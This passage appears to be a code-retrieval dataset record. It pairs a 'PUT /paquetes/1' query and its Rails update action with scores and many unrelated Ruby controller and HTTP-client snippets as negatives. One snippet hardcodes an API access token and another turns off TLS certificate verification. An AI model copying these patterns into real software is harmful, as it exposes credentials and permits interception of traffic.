uri.port)\n http.use_ssl = true\n post_body = []\n post_body << \"<Document><Body>\"\n # stip html\n post_body << ActionView::Base.full_sanitizer.sanitize(params[:desc])\n # no strip\n # post_body << params[:desc]\n post_body << \"</Body></Document>\"\n request = Net::HTTP::Post.new(uri.request_uri)\n request.add_field(\"Content-Type\",\"text/xml\")\n request.add_field(\"outputFormat\",\"application/json\")\n #request.add_field(\"outputFormat\",\"text/n3\") \n request.add_field(\"x-ag-access-token\",\"fY7WUM3GGCXHm9ATOhtzhrvlWX8oPo5X\")\n request.body = post_body.join\n # request[\"Content-Type\"] = \"multipart/form-data, boundary=#{BOUNDARY}\"\n\n render :json => http.request(request).body\n end", "def create\r\n @apertura_caja = AperturaCaja.new(apertura_caja_params)\r\n\r\n respond_to do |format|\r\n if @apertura_caja.save\r\n format.html { redirect_to @apertura_caja, success: 'La caja se ha abierto correctamente.' }\r\n format.json { render :show, status: :created, location: @apertura_caja }\r\n else\r\n format.html { render :new }\r\n format.json { render json: @apertura_caja.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def create\n @e_asset = EAsset.new(e_asset_params)\n\n respond_to do |format|\n if @e_asset.save\n format.html { redirect_to @e_asset, notice: 'E asset was successfully created.' }\n format.json { render :show, status: :created, location: @e_asset }\n else\n format.html { render :new }\n format.json { render json: @e_asset.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @cavalete = Cavalete.new(params[:cavalete])\n @cavalete.placa = Placa.new(params[:placa])\n \n respond_to do |format|\n if @cavalete.save\n format.html { redirect_to(@cavalete, :notice => ' - Cavalete cadastrado com sucesso.') }\n format.xml { render :xml => @cavalete, :status => :created, :location => @cavalete }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @cavalete.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @arcone = Arcone.new(params[:arcone])\n\n respond_to do |format|\n if @arcone.save\n format.html { redirect_to @arcone, notice: 'Arcone was successfully created.' }\n format.json { render json: @arcone, status: :created, location: @arcone }\n else\n format.html { render action: \"new\" }\n format.json { render json: @arcone.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @assertion = Assertion.new(assertion_params)\n @assertion[:verify] = { type: \"hosted\", url: \"http://frozen-dawn-78535.herokuapp.com/assertions/#{@assertion.id}\" }\n\n respond_to do |format|\n if @assertion.save\n format.html { redirect_to assertions_path, notice: 'Assertion was successfully created.' }\n format.json { render :show, status: :created, location: @assertion }\n else\n format.html { render :new }\n format.json { render json: @assertion.errors, status: :unprocessable_entity }\n end\n end\n end", "def post_xml_64(xml=:example_response)\n post \"/auth/saml/callback\", {'SAMLResponse' => load_xml_64(xml)}\nend", "def post(path, params={})\n signature_params = params.values.any?{|value| value.respond_to?(:to_io)} ? {} : params\n request(:post, path, params.to_xml, signature_params)\n end", "def create\n @catena = Catena.new(params[:catena])\n\n respond_to do |format|\n if @catena.save\n format.html { redirect_to(catenas_path, :notice => 'Catena was successfully created.') }\n format.xml { render :xml => @catena, :status => :created, :location => @catena }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @catena.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n redirect_to accesots_url and return# arbitratio, ted no permitir crear desde la web panel ok. ok.\n # @accesot = Accesot.new(accesot_params)\n\n # respond_to do |format|\n # if @accesot.save\n # format.html { redirect_to @accesot, notice: 'Accesot was successfully created.' }\n # format.json { render :show, status: :created, location: @accesot }\n # else\n # format.html { render :new }\n # format.json { render json: @accesot.errors, status: :unprocessable_entity }\n # end\n #end\n end", "def create\n @oferta_academica = OfertaAcademica.new(params[:oferta_academica])\n\n if @oferta_academica.save\n render json: @oferta_academica, status: :created, location: @oferta_academica\n else\n render json: @oferta_academica.errors, status: :unprocessable_entity\n end\n end", "def create\n @artesano = Artesano.new(artesano_params)\n\n respond_to do |format|\n if @artesano.save\n format.html { redirect_to @artesano, notice: 'Artesano was successfully created.' }\n format.json { render :show, status: :created, location: @artesano }\n else\n format.html { render :new }\n format.json { render json: @artesano.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @anchoring = Anchoring.new(params[:anchoring])\n\n respond_to do |format|\n if @anchoring.save\n format.html { redirect_to @anchoring, notice: 'Anchoring was successfully created.' }\n format.json { render json: @anchoring, status: :created, location: @anchoring }\n else\n format.html { render action: \"new\" }\n format.json { render json: @anchoring.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n HTTParty.post(create_url, :options => { :headers => HEADERS })\n end", "def url\n\t\tagencia_paquete_path(self)\n\tend", "def create\n doc = Nokogiri::XML(request.body.read)\n cvNode = doc.xpath('elwak/checklisten_vorlage')\n cv = ChecklistenVorlage.new({\n objekt_id: cvNode.xpath('objekt_id').text.to_s, \n bezeichner: cvNode.xpath('bezeichner').text.to_s, \n version: cvNode.xpath('version').text.to_s.to_i, \n inaktiv: cvNode.xpath('inaktiv').text.to_s.to_bool \n })\n cv.save\n\n cvNode.xpath('checklisten_eintrags/checklisten_eintrag').each do |ceNode|\n ce = ChecklistenEintrag.new({\n checklisten_vorlage_id: cv.id,\n bezeichner: ceNode.xpath('bezeichner').text.to_s,\n was: ceNode.xpath('was').text.to_s,\n wann: ceNode.xpath('wann').text.to_s,\n typ: ceNode.xpath('typ').text.to_s.to_i,\n position: ceNode.xpath('position').text.to_s.to_i\n })\n ce.save\n end\n\n respond_to do |format|\n format.xml {render :xml => '<?xml version=\"1.0\" encoding=\"UTF-8\"?><success />'}\n end\n end", "def create_from_xml(xml, pares)\n raise PaResMissing.new \"(2500) PaRes argument can not be omitted.\" if pares.nil?\n @request_xml = REXML::Document.new xml\n REXML::XPath.first(@request_xml, \"//ThreeDSecure\").add_element(\"PaRes\").text=pares\n end", "def create\n @peca = Peca.new(params[:peca])\n\n respond_to do |format|\n if @peca.save\n flash[:notice] = 'Peça criada com sucesso.'\n format.html { redirect_to(@peca) }\n format.xml { render :xml => @peca, :status => :created, :location => @peca }\n else\n flash[:notice] = 'O formulário contém erros. Verifique os campos digitados e tente novamente.'\n format.html { render :action => \"new\" }\n format.xml { render :xml => @peca.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @accolaid = Accolaid.new(accolaid_params)\n\n respond_to do |format|\n if @accolaid.save\n format.html { redirect_to @accolaid, notice: 'Accolaid was successfully created.' }\n format.json { render :show, status: :created, location: @accolaid }\n else\n format.html { render :new }\n format.json { render json: @accolaid.errors, status: :unprocessable_entity }\n end\n end\n end", "def post_request(params, useSSL=false)\n # get a server handle\n port = (useSSL == true) ? 443 : 80\n http_server = Net::HTTP.new(API_HOST, port)\n http_server.use_ssl = useSSL\n \n # build a request\n http_request = Net::HTTP::Post.new(API_PATH_REST)\n http_request.form_data = params\n \n # get the response XML\n return http_server.start{|http| http.request(http_request)}.body\n end", "def post(body)\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true if uri.scheme == 'https'\n\n request = Net::HTTP::Post.new(uri)\n request['Content-Type'] = 'text/xml'\n request['Accept-Language'] = locale if locale\n request.body = body\n\n response = http.request(request)\n\n Response.new(response, uri)\n end", "def create\n @almacen = Almacen.new(params[:almacen])\n\n respond_to do |format|\n if @almacen.save\n flash[:notice] = 'El almacen fue correctamente creado.'\n format.html { redirect_to(@almacen) }\n format.xml { render :xml => @almacen, :status => :created, :location => @almacen }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @almacen.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @refugee = Refugee.new(refugee_params)\n\n respond_to do |format|\n if @refugee.save\n format.html { redirect_to @refugee, notice: 'Refugee was successfully created.' }\n format.json { render :show, status: :created, location: @refugee }\n else\n format.html { render :new }\n format.json { render json: @refugee.errors, status: :unprocessable_entity }\n end\n end\n end", "def POST; end", "def add_tenant_circle(args = {}) \n post(\"/tenantcircles.json/\", args)\nend", "def create\n @tantosha = Tantosha.new(tantosha_params)\n\n respond_to do |format|\n if @tantosha.save\n format.html { redirect_to @tantosha, notice: '担当者は追加できました。' }\n format.json { render action: 'show', status: :created, location: @tantosha }\n else\n format.html { render action: 'new' }\n format.json { render json: @tantosha.errors, status: :unprocessable_entity }\n end\n end\n end", "def show\n @paquete = Paquete.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @paquete }\n end\n end", "def create\n @eva = Eva.new(eva_params)\n\n respond_to do |format|\n if @eva.save\n format.html { redirect_to :back, notice: '✔ 評価が送信されました' }\n format.json { render :show, status: :created, location: @eva }\n else\n format.html { render :new }\n format.json { render json: @eva.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @aauto = Aauto.new(params[:aauto])\n\n respond_to do |format|\n if @aauto.save\n format.html { redirect_to(@aauto, :notice => 'Aauto was successfully created.') }\n format.xml { render :xml => @aauto, :status => :created, :location => @aauto }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @aauto.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @post377 = Post377.new(params[:post377])\n\n respond_to do |format|\n if @post377.save\n format.html { redirect_to(@post377, :notice => 'Post377 was successfully created.') }\n format.xml { render :xml => @post377, :status => :created, :location => @post377 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post377.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @atividade_avaliacao = AtividadeAvaliacao.new(params[:atividade_avaliacao])\n\n respond_to do |format|\n if @atividade_avaliacao.save\n flash[:notice] = 'AtividadeAvaliacao was successfully created.'\n format.html { redirect_to(@atividade_avaliacao) }\n format.xml { render :xml => @atividade_avaliacao, :status => :created, :location => @atividade_avaliacao }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @atividade_avaliacao.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @enquete = Enquete.new(enquete_params)\n\n respond_to do |format|\n if @enquete.save\n format.html { redirect_to @enquete, notice: 'Enquete was successfully created.' }\n format.json { render :show, status: :created, location: @enquete }\n else\n format.html { render :new }\n format.json { render json: @enquete.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @enquete = Enquete.new(enquete_params)\n\n respond_to do |format|\n if @enquete.save\n format.html { redirect_to @enquete, notice: 'Enquete criada com sucesso!' }\n format.json { render :show, status: :created, location: @enquete }\n else\n format.html { render :new }\n format.json { render json: @enquete.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @ref_attribute = RefAttribute.new(ref_attribute_params)\n\n respond_to do |format|\n if @ref_attribute.save\n format.html { redirect_to @ref_attribute, notice: 'Uusi viitetyyppi luotu onnistuneesti.' }\n format.json { render :show, status: :created, location: @ref_attribute }\n else\n format.html { render :new }\n format.json { render json: @ref_attribute.errors, status: :unprocessable_entity }\n end\n end\n end", "def post(url, params = {})\n client.post(url, params).body\n end", "def post\n resource.post(request, response)\n end", "def create\n @apertura_billete = AperturaBillete.new(apertura_billete_params)\n\n respond_to do |format|\n if @apertura_billete.save\n format.html { redirect_to @apertura_billete, notice: 'Apertura billete was successfully created.' }\n format.json { render :show, status: :created, location: @apertura_billete }\n else\n format.html { render :new }\n format.json { render json: @apertura_billete.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @kela = Kela.new(kela_params)\n\n respond_to do |format|\n if @kela.save\n format.html { redirect_to @kela, notice: 'Kela was successfully created.' }\n format.json { render action: 'show', status: :created, location: @kela }\n else\n format.html { render action: 'new' }\n format.json { render json: @kela.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @odeme_akademist = Odeme::Akademist.new(params[:odeme_akademist])\n\n respond_to do |format|\n if @odeme_akademist.save\n format.html { redirect_to @odeme_akademist, notice: 'Akademist was successfully created.' }\n format.json { render json: @odeme_akademist, status: :created, location: @odeme_akademist }\n else\n format.html { render action: \"new\" }\n format.json { render json: @odeme_akademist.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @asset = Asset.new(params[:asset])\n\n respond_to do |format|\n if @asset.save\n format.html { redirect_to(@asset, :notice => 'Asset was successfully created.') }\n format.xml { render :xml => @asset, :status => :created, :location => @asset }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @asset.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @etape = Etape.new(params[:etape])\n\n respond_to do |format|\n if @etape.save\n format.html { redirect_to @etape, notice: 'Etape was successfully created.' }\n format.json { render json: @etape, status: :created, location: @etape }\n else\n format.html { render action: \"new\" }\n format.json { render json: @etape.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @asset = Asset.new(params[:asset])\n\n respond_to do |format|\n if @asset.save\n flash[:notice] = 'Asset was successfully created.'\n #format.html { redirect_to(@asset) }\n format.html { redirect_to(assets_url) }\n format.xml { render :xml => @asset, :status => :created, :location => @asset }\n\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @asset.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @tarefa = Tarefa.new(params[:tarefa])\n\n respond_to do |format|\n if @tarefa.save\n format.html { redirect_to @tarefa, notice: 'Tarefa was successfully created.' }\n format.json { render json: @tarefa, status: :created, location: @tarefa }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tarefa.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @cadet = Cadet.new(params[:cadet])\n\n respond_to do |format|\n if @cadet.save\n format.html { redirect_to @cadet, notice: 'Cadet was successfully created.' }\n format.json { render json: @cadet, status: :created, location: @cadet }\n else\n format.html { render action: \"new\" }\n format.json { render json: @cadet.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @aanwezig = Aanwezig.new(params[:aanwezig])\n\n respond_to do |format|\n if @aanwezig.save\n format.html { redirect_to(@aanwezig, :notice => 'Aanwezig was successfully created.') }\n format.xml { render :xml => @aanwezig, :status => :created, :location => @aanwezig }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @aanwezig.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @placa_casa = PlacaCasa.new(params[:placa_casa])\n @placa_casa.pessoa = Pessoa.new(params[:pessoa]) \n @placa_casa.placa = Placa.new(params[:placa])\n\n respond_to do |format|\n if @placa_casa.save\n format.html { redirect_to(@placa_casa, :notice => ' - Placa cadastrada com sucesso.') }\n format.xml { render :xml => @placa_casa, :status => :created, :location => @placa_casa }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @placa_casa.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\r\n @fabricante = Fabricante.new(fabricante_params)\r\n\r\n respond_to do |format|\r\n if @fabricante.save\r\n format.html { redirect_to fabricante_path(@fabricante), notice: 'Fabricante criada com sucesso.' }\r\n format.json { render :show, status: :created, location: @fabricante }\r\n else\r\n format.html { render :new }\r\n format.json { render json: @fabricante.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def create\n @objeto = Etiqueta.new(etiqueta_params)\n\n respond_to do |format|\n if @objeto.save\n format.html { redirect_to @objeto, notice: 'Etiqueta was successfully created.' }\n format.json { render :show, status: :created, location: @objeto }\n else\n format.html { render :new }\n format.json { render json: @objeto.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @tenacityparam = Tenacityparam.new(tenacityparam_params)\n\n respond_to do |format|\n if @tenacityparam.save\n format.html { redirect_to @tenacityparam, notice: 'Tenacityparam was successfully created.' }\n format.json { render action: 'show', status: :created, location: @tenacityparam }\n else\n format.html { render action: 'new' }\n format.json { render json: @tenacityparam.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_assignment(name)\n @url = \"http://#{$canvas_host}/api/v1/courses/#{$canvas_course_id}/assignments\"\n puts \"@url is #{@url}\"\n\n @payload={'assignment': { \n 'name': name,\n 'points_possible': '0',\n 'grading_type': 'pass_fail',\n 'published': 'true',\n 'submission_types': [ \"none\" ]\n }\n }\n\n @postResponse = HTTParty.post(@url, :body => @payload.to_json, :headers => $header )\n puts(\" POST to create assignment has Response.code #{@postResponse.code} and postResponse is #{@postRepsone}\")\nend", "def create\n @causale = Causale.new(params[:causale])\n\n respond_to do |format|\n if @causale.save\n format.html { redirect_to @causale, notice: 'Causale creata con successo.' }\n format.json { render json: @causale, status: :created, location: @causalo }\n else\n format.html { render action: \"new\" }\n format.json { render json: @causale.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @annee = Annee.new(params[:annee])\n\n respond_to do |format|\n if @annee.save\n #flash[:notice] = 'Année créée'\n format.html { redirect_to(annees_path) }\n format.xml { render :xml => @annee, :status => :created, :location => @annee }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @annee.errors, :status => :unprocessable_entity }\n end\n end\n end", "def anchor_params\n params.require(:anchor).permit(:nome, :descricao, :perfil, :perspectiva, :tipo, :result_id, :anchorinfo_id)\n end", "def create\n @reference = Reference.new(reference_params)\n\n if @reference.save\n render json: @reference, status: :created, location: @reference\n else\n render json: @reference.errors, status: :unprocessable_entity\n end\n end", "def create\n megam_rest.post_node(to_hash)\n end", "def post_xml(url, ls_data)\n uri = URI.parse(url)\n request = Net::HTTP::Post.new(uri.request_uri, HEADER_XML)\n request.body = ls_data\n request.basic_auth(@nsx_user, @nsx_password)\n response = Net::HTTP.start(uri.host, uri.port, :use_ssl => true,\n :verify_mode => OpenSSL::SSL::VERIFY_NONE) do |https|\n https.request(request)\n end\n return response.body if check_response(response, 201)\n end", "def create\n @nebulosa = Nebulosa.new(nebulosa_params)\n\n respond_to do |format|\n if @nebulosa.save\n format.html { redirect_to @nebulosa, notice: 'Nebulosa was successfully created.' }\n format.json { render :show, status: :created, location: @nebulosa }\n else\n format.html { render :new }\n format.json { render json: @nebulosa.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @tarefa = Tarefa.new(params[:tarefa])\n @tarefa.projeto_id = @projeto.id\n \n respond_to do |format|\n if @tarefa.save\n flash[:notice] = 'Tarefa was successfully created.'\n format.html { redirect_to(projeto_tarefas_path(@projeto)) }\n format.xml { render :xml => @tarefa, :status => :created, :location => @tarefa }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @tarefa.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @az_tariff = AzTariff.new(params[:az_tariff])\n\n respond_to do |format|\n if @az_tariff.save\n format.html { redirect_to(@az_tariff, :notice => 'AzTariff was successfully created.') }\n format.xml { render :xml => @az_tariff, :status => :created, :location => @az_tariff }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @az_tariff.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @fixed_asset = FixedAsset.new(fixed_asset_params)\n\n respond_to do |format|\n if @fixed_asset.save\n format.html { redirect_to @fixed_asset, notice: 'Fixed asset was successfully created.' }\n format.json { render :show, status: :created, location: @fixed_asset }\n else\n format.html { render :new }\n format.json { render json: @fixed_asset.errors, status: :unprocessable_entity }\n end\n end\n end", "def post(url, params = {})\n post_auth_hash = {\n \"oauth_consumer_key\" => \"#{@consumer_key}\",\n \"oauth_token\" => \"#{@access_token[\"oauth_token\"]}\",\n \"oauth_signature_method\" => \"HMAC-SHA1\",\n \"oauth_timestamp\" => timestamp,\n \"oauth_nonce\" => nonce,\n \"oauth_version\" => \"1.0\",\n }\n\n # set signature\n post_auth_hash[\"oauth_signature\"] = generate_access_signature(generate_signature_base_string(\"POST\", url, post_auth_hash, params))\n\n # post with auth header\n return MyHttp.post(url, params, {\n \"Authorization\" => \"OAuth #{generate_auth_header(post_auth_hash)}\",\n \"Content-Type\" => \"application/x-www-form-urlencoded\",\n })\n end", "def create\n @taux_tva = TauxTva.new(params[:taux_tva])\n @taux_tva.parametres_cabinet_id = current_user.parametres_cabinet_id\n respond_to do |format|\n if @taux_tva.save\n format.html { redirect_to(@taux_tva, :notice => 'Taux tva was successfully created.') }\n format.xml { render :xml => @taux_tva, :status => :created, :location => @taux_tva }\n format.json {render :json => {\"success\"=>true,\"data\"=>@taux_tva}}\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @taux_tva.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @caixa = Caixa.new(caixa_params)\n\n respond_to do |format|\n if @caixa.save\n format.html { redirect_to @caixa, notice: 'Caixa was successfully created.' }\n format.json { render :show, status: :created, location: @caixa }\n else\n format.html { render :new }\n format.json { render json: @caixa.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @umbrella = Umbrella.new(umbrella_params)\n\n respond_to do |format|\n if @umbrella.save\n # format.html { redirect_to \"http://pluspng.com/img-png/well-done-png-hd-wants-never-in-continuous-don-t-forget-the-s-819.png\" }\n format.html { redirect_to '/umbrellas', notice: 'A new umbrella was successfully created.' }\n format.json { render :show, status: :created, location: @umbrella }\n else\n format.html { render :new }\n format.json { render json: @umbrella.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @antique = Antique.new(antique_params)\n\n respond_to do |format|\n if @antique.save\n format.html { redirect_to @antique, notice: 'Antique was successfully created.' }\n format.json { render :show, status: :created, location: @antique }\n else\n format.html { render :new }\n format.json { render json: @antique.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @advert = Advert.new(advert_params)\n\n respond_to do |format|\n if @advert.save\n format.html { redirect_to @advert, notice: 'Advert was successfully created.' }\n format.json { render :show, status: :created, location: @advert }\n else\n format.html { render :new }\n format.json { render json: @advert.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @asset = Asset.new(asset_params)\n\n respond_to do |format|\n if @asset.save\n # format.html { redirect_to @asset, notice: 'Asset was successfully created.' }\n flash[:notice] = 'Fotoet blev oprettet.'\n format.html { redirect_to assets_url, notice: 'Fotoet blev oprettet.' }\n format.json { render action: 'show', status: :created, location: @asset }\n else\n format.html { render action: 'new' }\n format.json { render json: @asset.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.55406106", "0.5496011", "0.5437388", "0.53188324", "0.5303812", "0.52505594", "0.52284896", "0.52202505", "0.52098995", "0.5203851", "0.5152939", "0.51358366", "0.5100844", "0.50867236", "0.507924", "0.5078838", "0.50661075", "0.50578696", "0.5049836", "0.5040613", "0.50324506", "0.5021551", "0.5013103", "0.50066996", "0.4997259", "0.49841875", "0.49828804", "0.4982034", "0.49815622", "0.49809372", "0.49732593", "0.49659106", "0.4963106", "0.49558842", "0.49474376", "0.49434724", "0.49408603", "0.49281523", "0.492721", "0.4924411", "0.492185", "0.4916314", "0.49160022", "0.491397", "0.4895452", "0.4885629", "0.4882131", "0.48748052", "0.48744062", "0.48732194", "0.4867379", "0.4848302", "0.48451385", "0.48435014", "0.48388907", "0.48362973", "0.48356006", "0.48317704", "0.4831266", "0.48252591", "0.48222208", "0.482209", "0.4822024", "0.4818391", "0.48171937", "0.48139283", "0.48095337", "0.48078406", "0.480466", "0.48043385", "0.48035085", "0.48027423", "0.4802043", "0.47968966", "0.47937822", "0.47928268", "0.47894517", "0.4787856", "0.47867998", "0.47838", "0.47804886", "0.47794464", "0.4778074", "0.47752476", "0.47745943", "0.47735217", "0.4768475", "0.47675356", "0.47655955", "0.4765545", "0.4763775", "0.4763346", "0.4759718", "0.47583342", "0.47576517", "0.47534525", "0.4752463", "0.4750427", "0.47489575", "0.4748478" ]
0.6237619
0
PUT /paquetes/1 PUT /paquetes/1.xml
def update @paquete = Paquete.find(params[:id]) respond_to do |format| if @paquete.update_attributes(params[:paquete]) format.html { redirect_to(@paquete, :notice => 'Paquete was successfully updated.') } format.xml { head :ok } else format.html { render :action => "edit" } format.xml { render :xml => @paquete.errors, :status => :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def put(uri, xml)\r\n req = Net::HTTP::Put.new(uri)\r\n req[\"content-type\"] = \"application/xml\"\r\n req.body = xml\r\n request(req)\r\n end", "def update opts = {}\n opts[:headers] ||= {}\n opts[:headers]['Content-Type'] ||= 'text/xml'\n post 'update', opts\n end", "def rest_update(uri, method: Net::HTTP::Put)\n request = Net::HTTP::Get.new uri\n request.add_field(\"Accept\",\"application/xml\")\n auth_admin(request)\n \n Net::HTTP.start(uri.host, uri.port) do |http|\n response = http.request request\n response.value\n\n doc = REXML::Document.new response.body\n \n doc = strip_class_attributes(yield doc)\n \n request2 = method.new uri\n request2.content_type = 'application/xml'\n auth_admin(request2)\n\n request2.body=doc.to_s\n \n response2 = http.request request2\n response.value\n\n end\n \nend", "def test_should_update_link_via_API_XML\r\n get \"/logout\"\r\n put \"/links/1.xml\", :link => {:user_id => 1,\r\n :title => 'API Link 1',\r\n :url => 'http://www.api.com'}\r\n assert_response 401\r\n end", "def put!\n request! :put\n end", "def put(*args)\n request :put, *args\n end", "def update(id, name= \"Updated Name\")\n xml_req =\n \"<?xml version='1.0' encoding='UTF-8'?>\n <customer>\n <id type='integer'>#{id}</id>\n <name>#{name}</name>\n </customer>\"\n\n request = Net::HTTP::Put.new(\"#{@url}/#{id}.xml\")\n request.add_field \"Content-Type\", \"application/xml\"\n request.body = xml_req\n\n http = Net::HTTP.new(@uri.host, @uri.port)\n response = http.request(request)\n\n # no response body will be returned\n case response\n when Net::HTTPSuccess\n return \"#{response.code} OK\"\n else\n return \"#{response.code} ERROR\"\n end\n end", "def update(url, data)\n RestClient.put url, data, :content_type => :json\nend", "def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end", "def update(id, name=\"Updated Name\", age=\"55\")\r\n xml_req =\r\n \"<?xml version='1.0' encoding='UTF-8'?>\r\n <person>\r\n <id type='integer'>#{id}</id>\r\n <name>#{name}</name>\r\n <age>#{age}</age> \r\n </person>\"\r\n request = Net::HTTP::Put.new(\"#{@url}/#{id}.xml\")\r\n request.add_field \"Content-Type\", \"application/xml\"\r\n request.body = xml_req\r\n http = Net::HTTP.new(@uri.host, @uri.port)\r\n response = http.request(request)\r\n # no response body will be returned\r\n case response\r\n when Net::HTTPSuccess\r\n return \"#{response.code} OK\"\r\n else\r\n return \"#{response.code} ERROR\"\r\n end\r\n end", "def test_put_invoices_1_xml\n @parameters = {:invoice => {:number => 'NewNumber'}}\n \n Redmine::ApiTest::Base.should_allow_api_authentication(:put,\n '/invoices/1.xml',\n {:invoice => {:number => 'NewNumber'}},\n {:success_code => :ok})\n \n assert_no_difference('Invoice.count') do\n put '/invoices/1.xml', @parameters, credentials('admin')\n end\n \n invoice = Invoice.find(1)\n assert_equal \"NewNumber\", invoice.number\n \n end", "def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend", "def put(*args)\n request(:put, *args)\n end", "def update_aos_version(args = {}) \n id = args['id']\n temp_path = \"/aosversions.json/{aosVersionId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"aosversionId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend", "def test_put\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n contents = last_response.body\n contents_id = contents['_id']\n\n data = File.read 'sample-traces/1.json'\n put(\"/traces/#{contents_id}\", data, 'CONTENT_TYPE': 'application/json')\n contents = last_response.body\n\n assert_equal contents_id, contents['_id']\n end", "def put(*args)\n prepare_request(:put, args)\n @@client.add(:put, @path, *args)\n end", "def put(path = '/files/', params = {})\n request :put, path, params\n end", "def test_should_update_project_via_API_XML\r\n get \"/logout\"\r\n put \"/projects/1.xml\", :project => {:user_id => 1,\r\n :url => 'http://www.apiproject.com',\r\n :name => 'API Project',\r\n :description => 'API Project Desc' }\r\n assert_response 401\r\n end", "def test_putpoi_update_valid\n nd = create(:node)\n cs_id = nd.changeset.id\n user = nd.changeset.user\n amf_content \"putpoi\", \"/1\", [\"#{user.email}:test\", cs_id, nd.version, nd.id, nd.lon, nd.lat, nd.tags, nd.visible]\n post :amf_write\n assert_response :success\n amf_parse_response\n result = amf_result(\"/1\")\n\n assert_equal 5, result.size\n assert_equal 0, result[0]\n assert_equal \"\", result[1]\n assert_equal nd.id, result[2]\n assert_equal nd.id, result[3]\n assert_equal nd.version + 1, result[4]\n\n # Now try to update again, with a different lat/lon, using the updated version number\n lat = nd.lat + 0.1\n lon = nd.lon - 0.1\n amf_content \"putpoi\", \"/2\", [\"#{user.email}:test\", cs_id, nd.version + 1, nd.id, lon, lat, nd.tags, nd.visible]\n post :amf_write\n assert_response :success\n amf_parse_response\n result = amf_result(\"/2\")\n\n assert_equal 5, result.size\n assert_equal 0, result[0]\n assert_equal \"\", result[1]\n assert_equal nd.id, result[2]\n assert_equal nd.id, result[3]\n assert_equal nd.version + 2, result[4]\n end", "def test_put_expenses_1_xml\n @parameters = {:expense => {:description => 'NewDescription'}}\n if ActiveRecord::VERSION::MAJOR < 4\n Redmine::ApiTest::Base.should_allow_api_authentication(:put,\n '/expenses/1.xml',\n {:expense => {:description => 'NewDescription'}},\n {:success_code => :ok})\n end\n\n assert_no_difference('Expense.count') do\n put '/expenses/1.xml', @parameters, credentials('admin')\n end\n\n expense = Expense.find(1)\n assert_equal \"NewDescription\", expense.description\n end", "def put(name,&block)\n build_resource(name, :put, &block)\n end", "def put(path, params = {})\n request(:put, path, params)\n end", "def put(path, params = {})\n request(:put, path, params)\n end", "def put(path, params = {})\n request(:put, path, params)\n end", "def create_update_volumes(username, token, workset_name, volume_ids)\n\n #<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\n #<volumes xmlns=\"http://registry.htrc.i3.illinois.edu/entities/workset\">\n # <volume>\n # <id>9999999</id>\n # </volume>\n # <volume>\n # <id>3333333</id>\n # </volume>\n # </volumes>\n volumes_xml =\n \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"yes\\\"?>\" +\n \"<volumes xmlns=\\\"http://registry.htrc.i3.illinois.edu/entities/workset\\\">\";\n\n for id in volume_ids\n 